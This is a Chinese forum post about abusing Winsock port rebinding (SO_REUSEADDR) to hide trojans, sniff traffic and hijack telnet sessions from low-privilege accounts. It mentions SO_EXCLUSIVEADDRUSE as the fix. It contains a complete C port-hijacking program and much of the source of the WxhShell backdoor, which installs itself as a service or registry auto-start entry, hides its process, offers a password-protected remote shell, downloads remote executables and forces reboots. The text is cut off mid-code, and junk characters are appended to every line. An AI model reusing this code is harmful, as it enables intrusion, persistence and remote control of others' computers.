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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7]0\[9DyJ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -0[>}!l=G  
QZeb+r  
  saddr.sin_family = AF_INET; I+-Rs2wb  
7ipY*DT8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c{r6a=C  
-F~9f>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J[Ylo&w3  
6r ?cpJV{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G!fE'B  
?N9adL &b  
  这意味着什么?意味着可以进行如下的攻击: 0o\=0bH&s  
_'o^@v:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 k/6G j}l'o  
n,R[O_9u[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %E=,H?9&>  
Y?q*hS0!H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _16 &K}<  
iKCTYXN1(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ib<5u  
FkkZyCqZ`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cUX]tiC0  
m/"=5*pA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =Am*$wGI  
Jh hT7\h(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gEe W1:AB  
A/W7 ;D  
  #include )QJU ]G  
  #include 0V>N#P]  
  #include XzTH,7[n  
  #include    uR[PKLh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <]SS gQ9/"  
  int main() Tef3 Z6  
  { NU 6Kh7  
  WORD wVersionRequested; k kuQ"^<J  
  DWORD ret; >@92K]J  
  WSADATA wsaData; R,b O{2O  
  BOOL val; Yi! >8  
  SOCKADDR_IN saddr; wh[:wE]eX  
  SOCKADDR_IN scaddr; Z[A|SyZp  
  int err; 77[;J  
  SOCKET s; pDnFT2  
  SOCKET sc; PX>\j&  
  int caddsize; P(gID  
  HANDLE mt; 3Tte8]0  
  DWORD tid;   dJ"xW; "  
  wVersionRequested = MAKEWORD( 2, 2 ); D_;n4<|.  
  err = WSAStartup( wVersionRequested, &wsaData ); 8=_| qy}l/  
  if ( err != 0 ) { 9G\3hL]  
  printf("error!WSAStartup failed!\n"); m"> =QP  
  return -1; i(qYyO'  
  } fbbl92p  
  saddr.sin_family = AF_INET; uL{~(?U$  
   i1H80m s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?9ho|  
# ;KG6IE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Xcpm?aTo  
  saddr.sin_port = htons(23); sV4tu(~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vrEaNT$J-  
  { ezy5Jqk5%  
  printf("error!socket failed!\n"); jQBdS. }'v  
  return -1; 4I[FE;^  
  } >^)5N<t?  
  val = TRUE; jtOsb91c}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <("w'd}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w*R-E4S?2  
  { ~rfjQPbh9x  
  printf("error!setsockopt failed!\n"); (+v*u]w4  
  return -1; ^XB8A=xi  
  } 3B|-xq;]I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D{d$L9.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 FwzA_ nn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .*ovIU8  
J^a"1|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0mi[|~x=  
  { sN) .Jo  
  ret=GetLastError(); 7%FZXsD  
  printf("error!bind failed!\n"); <R8Z[H:bV  
  return -1; NB#*`|qt  
  } m8A_P:MQq  
  listen(s,2); 1KR|i"  
  while(1) |dzF>8< )  
  { nAC#_\  
  caddsize = sizeof(scaddr); \uPTk)oaB  
  //接受连接请求 >^ar$T;Ys  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Oydmq,sVe(  
  if(sc!=INVALID_SOCKET) PGhZ`nl  
  { #E@i@'T  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <vuX " 8  
  if(mt==NULL) H?^#zj`Ex+  
  { :P1c>:j[  
  printf("Thread Creat Failed!\n"); bbkI}d%(Ng  
  break; Ax*~[$$~%  
  } Bb"4^EOZ,  
  } ,#O8:s  
  CloseHandle(mt); Xkm2C)  
  } sYI':UQe  
  closesocket(s); jch8d(`?d  
  WSACleanup(); `R?W @,@'  
  return 0; sZDJ+  
  }   E-iBA(H  
  DWORD WINAPI ClientThread(LPVOID lpParam) kweTK]mT  
  { K7VG\Ec  
  SOCKET ss = (SOCKET)lpParam; 04d$_1:}a  
  SOCKET sc; gI3rF=  
  unsigned char buf[4096]; 9r#{s Y  
  SOCKADDR_IN saddr; ^eRT8I  
  long num; eF1%5;" W  
  DWORD val; f~9Y1|6  
  DWORD ret; `{_PSzM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N+75wtLy&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mhuaXbr  
  saddr.sin_family = AF_INET; y]9U FL"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .Y.# d7TA  
  saddr.sin_port = htons(23); w5jZI|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1iDo$]TEK  
  { y*(j{0yd  
  printf("error!socket failed!\n"); V,5}hQJ F  
  return -1; 3~la/$?p0  
  } Uroj%xN  
  val = 100; $ '*BS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b{Ss+F  
  { i`'^ zR(`i  
  ret = GetLastError(); W9'jzP  
  return -1; ?Fpl.t~  
  } e8bJ]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7k|(5P;  
  { w'XgW0j{  
  ret = GetLastError(); "M &4c:cz  
  return -1; :5J6rj;_  
  } -~fI|A^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <LN$[&f#  
  { pnJT]?},  
  printf("error!socket connect failed!\n"); *xP:7K  
  closesocket(sc); +r_[Tj|Er  
  closesocket(ss); mA @+4&  
  return -1; |lV9?#!  
  } YYW70k:  
  while(1) n`xh/vGm#  
  { y@_?3m7B=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qV,j)b3M  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 & jvG]>CS'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 EQC  
  num = recv(ss,buf,4096,0); GY xI$y0:  
  if(num>0) ze N!*VG  
  send(sc,buf,num,0); Iq \oB  
  else if(num==0) uD5yw #`  
  break; 4V8wB}y7e  
  num = recv(sc,buf,4096,0); cyg>h X{U  
  if(num>0) ^^uD33@_  
  send(ss,buf,num,0); eCD,[At/  
  else if(num==0) +to9].O7y  
  break; G[j79o  
  } "s9gQAoaO  
  closesocket(ss); =]"|x7'!  
  closesocket(sc); dC#\ut%l  
  return 0 ; ,$$$_+m\  
  } *DzPkaYD>  
38i,\@p`9$  
k]pD3.QJ  
========================================================== %nF\tVP3]  
y:[]+  
下边附上一个代码,,WXhSHELL kZ%W?#  
vyGLn  
========================================================== ^?[<!VBI  
l}c2l'  
#include "stdafx.h" X(28 xbd|  
U-<"i6mg ?  
#include <stdio.h> 1Z8oN3  
#include <string.h> { ][7Np!y  
#include <windows.h> ~la04wR28  
#include <winsock2.h> f`=T@nA  
#include <winsvc.h> v=-3 ,C  
#include <urlmon.h> ABmDSV5i  
q.km>XRk~  
#pragma comment (lib, "Ws2_32.lib") 1R9? [RE  
#pragma comment (lib, "urlmon.lib") X.9MOdG70  
[qMdOY%jx  
#define MAX_USER   100 // 最大客户端连接数 6 <S&~q  
#define BUF_SOCK   200 // sock buffer R9G)X]  
#define KEY_BUFF   255 // 输入 buffer qFbUM;  
W+C_=7_  
#define REBOOT     0   // 重启 L b;vrh;A  
#define SHUTDOWN   1   // 关机 x]cZm^  
+J8/,d  
#define DEF_PORT   5000 // 监听端口 m@yVG|eP#  
bv>lm56  
#define REG_LEN     16   // 注册表键长度 `h5eej&s(  
#define SVC_LEN     80   // NT服务名长度 \[I .  
/Py>HzRE:  
// 从dll定义API rGGepd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lA-!~SM v"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^6y4!='ci  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EFt`<qwj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 13_~)V  
T&"dBoUq>G  
// wxhshell配置信息 h21(K}  
struct WSCFG { w[oQ}5?9'  
  int ws_port;         // 监听端口 #_\MD,(  
  char ws_passstr[REG_LEN]; // 口令 l~!fQ$~  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,xD*^>!  
  char ws_regname[REG_LEN]; // 注册表键名 ;VlZd*M?  
  char ws_svcname[REG_LEN]; // 服务名 #Y>%Dr&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uPC qO+f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BI.k On=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 39aCwhh7v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^~<Rzq!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {F+M&+``  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ])j|<W/  
.>64h H  
}; 6Vbv$ AU  
<kXV1@>  
// default Wxhshell configuration 0"qim0%|DF  
struct WSCFG wscfg={DEF_PORT, ^HlLj#  
    "xuhuanlingzhe", UQ.D!q  
    1, j YIV^o 0  
    "Wxhshell", Sa?5iFg  
    "Wxhshell", Lr?4Y  
            "WxhShell Service", n &\'Hm  
    "Wrsky Windows CmdShell Service", <+-Yh_D  
    "Please Input Your Password: ", 3ES[ N.V#  
  1, -Xxu/U})%  
  "http://www.wrsky.com/wxhshell.exe", "^ 6lvZP(  
  "Wxhshell.exe" ')u5l  
    }; <A -(&+  
4$zFR}f  
// 消息定义模块 0fPHh>u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0gOrW=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >4|c7z4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4%!{?[$  
char *msg_ws_ext="\n\rExit."; FSU%?PxO  
char *msg_ws_end="\n\rQuit."; gF,[u  
char *msg_ws_boot="\n\rReboot..."; *bxJ)9B  
char *msg_ws_poff="\n\rShutdown..."; S\3AW,c]w  
char *msg_ws_down="\n\rSave to "; .qIy7_^  
TXJY2J*24  
char *msg_ws_err="\n\rErr!"; 5Q$r@&qp  
char *msg_ws_ok="\n\rOK!"; \>Ga-gv6/  
Hw?2XDv j  
char ExeFile[MAX_PATH]; j FPU zB"  
int nUser = 0; %0NkIQ`C  
HANDLE handles[MAX_USER]; .@i0U  
int OsIsNt; Q$3\ /mz  
LmXF`Y$  
SERVICE_STATUS       serviceStatus; o=-Vt,2{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +dCDM1{_a  
t/d',Khg  
// 函数声明 H}sS4[z  
int Install(void); 8R\>FNk;  
int Uninstall(void); '_.q_Tf-^  
int DownloadFile(char *sURL, SOCKET wsh); <Qcex3  
int Boot(int flag); . 0 s[{x  
void HideProc(void); v@fe-T&0  
int GetOsVer(void); P.LuF(?$  
int Wxhshell(SOCKET wsl); *2,e=tY>  
void TalkWithClient(void *cs); \LdmGv@ &  
int CmdShell(SOCKET sock); =% q?Cr  
int StartFromService(void); m"gni #  
int StartWxhshell(LPSTR lpCmdLine); {Ax)[<i  
Pt6hGSo.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0%xR<<gir  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Uvjdx(fY[a  
L$+d.=]  
// 数据结构和表定义 #`jE%ONC  
SERVICE_TABLE_ENTRY DispatchTable[] = N5 SLF4R1  
{ +Lm3vj_ N  
{wscfg.ws_svcname, NTServiceMain}, 1B)Y;hg6&  
{NULL, NULL} 9VoDhsKk  
}; E`Jp(gK9F  
jWH{;V&ZV  
// 自我安装 qQfqlD<  
int Install(void) qwq/Xcv  
{ nG"tO'J6  
  char svExeFile[MAX_PATH]; :+~KPn>w5  
  HKEY key; p?+lAbe6H  
  strcpy(svExeFile,ExeFile); Ps U9R#HL1  
1.# |QX  
// 如果是win9x系统,修改注册表设为自启动 kOs(?=  
if(!OsIsNt) { m#oh?@0}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q} ]'Q -  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9$7&URwSDI  
  RegCloseKey(key); k? 3S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]g{hhP3>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hi!L\yi  
  RegCloseKey(key); +>JdYV<?0  
  return 0; u~s Sk  
    } ;% 2wGT  
  } x|]\1sb"  
} )O,wRd>5  
else { kTnOmA w  
T}C2e! _O  
// 如果是NT以上系统,安装为系统服务 ^vJ"-{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gRBSt M&hU  
if (schSCManager!=0) 6}ce1|mkg/  
{ !C Vuw  
  SC_HANDLE schService = CreateService ?2{bKIV_  
  ( B?+ .2  
  schSCManager, !X^Hi=aV  
  wscfg.ws_svcname, U1OFDXHG  
  wscfg.ws_svcdisp, v @:~mwy  
  SERVICE_ALL_ACCESS, Mr-DGLJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =WC-Sj{I  
  SERVICE_AUTO_START, z9[[C^C  
  SERVICE_ERROR_NORMAL, wZ#Rlv,3Wa  
  svExeFile, {J (R  
  NULL, J^ `hbP+2  
  NULL, CdY8 #+"  
  NULL, rah,dVE]  
  NULL, WvujcmOf  
  NULL ;x-(kIiE  
  ); BT]ua]T+  
  if (schService!=0) *l{yW"Su  
  { >&OUGu|  
  CloseServiceHandle(schService); zF8'i=b&  
  CloseServiceHandle(schSCManager); %?bcT[|3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wJ gX/W  
  strcat(svExeFile,wscfg.ws_svcname); ({4]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |g%mP1O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j Fma|y  
  RegCloseKey(key); ~4\,&HH  
  return 0; Z?oG*G:  
    } 7 {f_fkbs  
  } (zG.aaz*C  
  CloseServiceHandle(schSCManager); btH _HE  
} n 6{2]&sd  
} Zk&h:c  
r [s!F=^  
return 1; {^5?)/<  
} JQ@fuo %  
c8{]]  
// 自我卸载 T$KF< =  
int Uninstall(void) B<7/,d'  
{ ][d,l\gu+s  
  HKEY key; ,Ol (piR  
F[saP0 *  
if(!OsIsNt) { H2;X   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fj>C@p  
  RegDeleteValue(key,wscfg.ws_regname); '9s5OTkN ;  
  RegCloseKey(key); B@O@1?c[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N8v'70  
  RegDeleteValue(key,wscfg.ws_regname); Ue*C>F   
  RegCloseKey(key); Wkzs<y"  
  return 0; ]JE TeZ^/  
  } x0Yse:RE^  
} :B|Dr v  
} 5\Fz!  
else { g> S*<  
Kmz7c|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8i}< k$S  
if (schSCManager!=0) 'Z&;uv,l  
{ I]nHbghcW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); % UZVb V  
  if (schService!=0) M+`H g_#Q  
  { ]"~51HQZ  
  if(DeleteService(schService)!=0) { BVw Wj-,  
  CloseServiceHandle(schService); Gi FXX  
  CloseServiceHandle(schSCManager); re &E{  
  return 0; Ad$n4Ze  
  } B[5r|d'  
  CloseServiceHandle(schService); |o<8}Nja6  
  } ;WU<CKYG*  
  CloseServiceHandle(schSCManager); `^9(Ot $  
} {HOy_Fiih  
} <3okiV=ox  
i/So6jW  
return 1; v"^~&q0x  
} N#C1-*[C  
fyWO  
// 从指定url下载文件 a`(a)9i  
int DownloadFile(char *sURL, SOCKET wsh) wJ<Oo@snm  
{ ]aryV?!6  
  HRESULT hr; TBrGA E  
char seps[]= "/"; ]rN5Ao}2  
char *token; D4JLtB'=  
char *file; X+k}2HvNG  
char myURL[MAX_PATH]; ^!8P<y  
char myFILE[MAX_PATH]; _c$9eAe  
dq1:s1  
strcpy(myURL,sURL); 'CZa3ux  
  token=strtok(myURL,seps); {nT^t Aha  
  while(token!=NULL) X[gn+6WB%  
  { G~7 i@Zs  
    file=token; `#-P[q<v-  
  token=strtok(NULL,seps); G rmzkNlN  
  } :!a 2]-D}  
wCf~O'XLw  
GetCurrentDirectory(MAX_PATH,myFILE); ORXm&z)  
strcat(myFILE, "\\"); vIl+#9L0  
strcat(myFILE, file); ph>7?3;t  
  send(wsh,myFILE,strlen(myFILE),0); (+<1*5BEkT  
send(wsh,"...",3,0); *=V7@o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >odbOi+X  
  if(hr==S_OK) Rm1A>1a :  
return 0; Vm}%ttTC  
else  Uo12gIX  
return 1; Io4(f  
|tR OL 9b  
} l {jmlT  
4wd& 55=2  
// 系统电源模块 Uy ?  
int Boot(int flag) Ghl'nqPlm  
{ N,2s?Y_!  
  HANDLE hToken; 9Y>8=#.c  
  TOKEN_PRIVILEGES tkp; ^<e@uNGg  
Uw,2}yR  
  if(OsIsNt) { a22Mufl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P`s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {~|OE -X][  
    tkp.PrivilegeCount = 1; ydw)mT44K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g;$Xq)Dd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +aF}oA&X[  
if(flag==REBOOT) { .<tquswg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P=3RLL<l  
  return 0; `(A5f71MfM  
} `qd+f{Q  
else { ?bM_q_5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \#o2\!@`  
  return 0; WDFjp  
} A)%A!  
  } $zB[B;-!$  
  else { .h0b~nI>>  
if(flag==REBOOT) { \U|ZR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7j nIv];i  
  return 0; O6IB. >T  
} /Uo y/}!  
else { "#(T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >``MR%E:<  
  return 0; G8Nt 8U~  
} 6c^e\0q  
} h3dsd  
dnV[ P  
return 1; 'v]u#/7a  
} OKF tl  
bdGIF'p%  
// win9x进程隐藏模块 A^q[N  
void HideProc(void) 3O7!`Nm@  
{ %W@v2  
3;% 5Yu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x\Z'2?u}  
  if ( hKernel != NULL ) "M|zv  
  { `,P h/oM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o.q/O)'V u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0P\$ 2lk  
    FreeLibrary(hKernel); keB&Bjd&  
  } B<C*  
Ok n(pJ0  
return; e["2QIOe  
} =0;^(/1Mc  
ID#I`}h.k  
// 获取操作系统版本 ^h{)Gf,+\  
int GetOsVer(void) !9xp cQ>  
{ 7"8hC  
  OSVERSIONINFO winfo; >@"Oe  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F'hHK.tT  
  GetVersionEx(&winfo); ezPz<iZ\N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sJ]taY ou  
  return 1; ?.D3'qv  
  else ar:+;.n  
  return 0; wC5ee:u C%  
} AE} )o)B  
/% kY0 LY  
// 客户端句柄模块 }<dRj  
int Wxhshell(SOCKET wsl) N5 $c]E  
{ ^a#X9  
  SOCKET wsh; Uh][@35 p  
  struct sockaddr_in client; U^Xm)lL  
  DWORD myID; .|/~op4;  
D}v mwg@3  
  while(nUser<MAX_USER) (&!NC[n,  
{ s+Q~~]HJM  
  int nSize=sizeof(client); g&`pgmUX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8jyG" %WO  
  if(wsh==INVALID_SOCKET) return 1; F+@5C:<?  
d 9q(xZ5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gCxAG  
if(handles[nUser]==0) |O"lNUW   
  closesocket(wsh); 7e<c$t#H  
else *k19LI.5  
  nUser++; %*\es7m}  
  } ;$z$@@WC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G_SG  
;INW`b~  
  return 0; n/h,Lr)Z  
} 7PkJ-JBA  
0@EwM  
// 关闭 socket ;g~TWy^o  
void CloseIt(SOCKET wsh) 9k6r_G"  
{ N&M~0iw  
closesocket(wsh); &-mX ,   
nUser--; Ry|!pV  
ExitThread(0); LGl2$#x  
} f-%NaTI  
VH[hsj  
// 客户端请求句柄 C?2' +K  
void TalkWithClient(void *cs) G8;w{-{m  
{ El@(mOu|  
ZfB " E  
  SOCKET wsh=(SOCKET)cs; W]nSR RWco  
  char pwd[SVC_LEN]; 1n@8Kv  
  char cmd[KEY_BUFF]; }oNhl^JC  
char chr[1]; 0q'w8]m  
int i,j; )4&cph';  
rSJ9 v :  
  while (nUser < MAX_USER) { %%4t~XC#  
TsGE cxIg  
if(wscfg.ws_passstr) { 7R\oj8[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zA1lca0HK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |JVk&8 ?8  
  //ZeroMemory(pwd,KEY_BUFF); '60 L~`K  
      i=0; WAS U0  
  while(i<SVC_LEN) { DrO2y  
EcCFbqS4W  
  // 设置超时 ^Y iJV7  
  fd_set FdRead; #/Eb*2C`b  
  struct timeval TimeOut; v_nj$1dY6  
  FD_ZERO(&FdRead); 19j+lCSvH  
  FD_SET(wsh,&FdRead); f4PIoZ e  
  TimeOut.tv_sec=8; 4Z/Q=Mq2  
  TimeOut.tv_usec=0; x(eb5YS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~>+]%FPv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n;:rf7hGY  
dtc IC0:[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rhb@FE)Mc  
  pwd=chr[0]; <0PT"ij  
  if(chr[0]==0xd || chr[0]==0xa) { &Y^WP?HS  
  pwd=0; mljh|[  
  break; nVI! @qW  
  } `IY/9'vT  
  i++; G3{=@Z1  
    } B!\;/Vk  
XQ~Ke-QW)  
  // 如果是非法用户,关闭 socket gw}Mw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?A )hN8  
} R]i7 $}n  
4X *>H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b/Xbs0q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $VxA0 =ad  
b&5lYp"d  
while(1) { n2I V2^ "  
h`H,a7  
  ZeroMemory(cmd,KEY_BUFF); B0ndcB-  
w#g#8o>'  
      // 自动支持客户端 telnet标准   ;JRs?1<='  
  j=0; 0s>/mh;  
  while(j<KEY_BUFF) { s$a09x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7ek&[SJ>,/  
  cmd[j]=chr[0]; g{P%s'%*  
  if(chr[0]==0xa || chr[0]==0xd) { FSRj4e1y1  
  cmd[j]=0; PtTHPAKj  
  break; @S 7sr-  
  } A+UU~?3y  
  j++; Zw~+Pb  
    } edK|NOOZ  
hsw9(D>jp  
  // 下载文件 =lu/9 i6  
  if(strstr(cmd,"http://")) { 3dDX8M?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |#*'H*W  
  if(DownloadFile(cmd,wsh)) fks)+L'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q/4 [3h  
  else z1Ov|Q`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DK oN}c  
  } ?PyG/W  
  else { !S_^94b@  
RTFZPq84  
    switch(cmd[0]) { ?]4>rl}  
  =dx1/4bZl|  
  // 帮助 p3}?fej&|  
  case '?': { K_ ci_g":  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j6g[N4xr  
    break; =?-ye!w  
  } #-GJ&m8  
  // 安装 N72Yq)(  
  case 'i': { 0V!l,pg  
    if(Install()) a:_I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kMsnW}Nu  
    else h48SItY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h/,${,}J  
    break; .&x}NYX4  
    } {Ixg2=E\  
  // 卸载 U`]T~9I  
  case 'r': { raQ7.7  
    if(Uninstall()) 8O"U 0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0n/gd"M  
    else NzW`B^p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :F?x)"WoQ+  
    break; x[Wwq=~  
    } aceZ3U>W  
  // 显示 wxhshell 所在路径 vhb)2n  
  case 'p': { Nlj^D m  
    char svExeFile[MAX_PATH]; 8#D:H/`'  
    strcpy(svExeFile,"\n\r"); $.:mai  
      strcat(svExeFile,ExeFile); d;+[i  
        send(wsh,svExeFile,strlen(svExeFile),0); W#Qmv^StZ  
    break; ~RD+.A  
    } b,IocD6v;P  
  // 重启 lW 81q2n  
  case 'b': { 8_!.!Kde |  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rl6\#C*  
    if(Boot(REBOOT)) A$WZF/x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O0PJ6:9P  
    else { +B|7p9qy  
    closesocket(wsh); =@)d5^<5F  
    ExitThread(0); S:61vD  
    } -<#!DjV6(  
    break; TH&qX  
    } wdvLx  
  // 关机 5%}wV,Y  
  case 'd': { \sA*V%n  
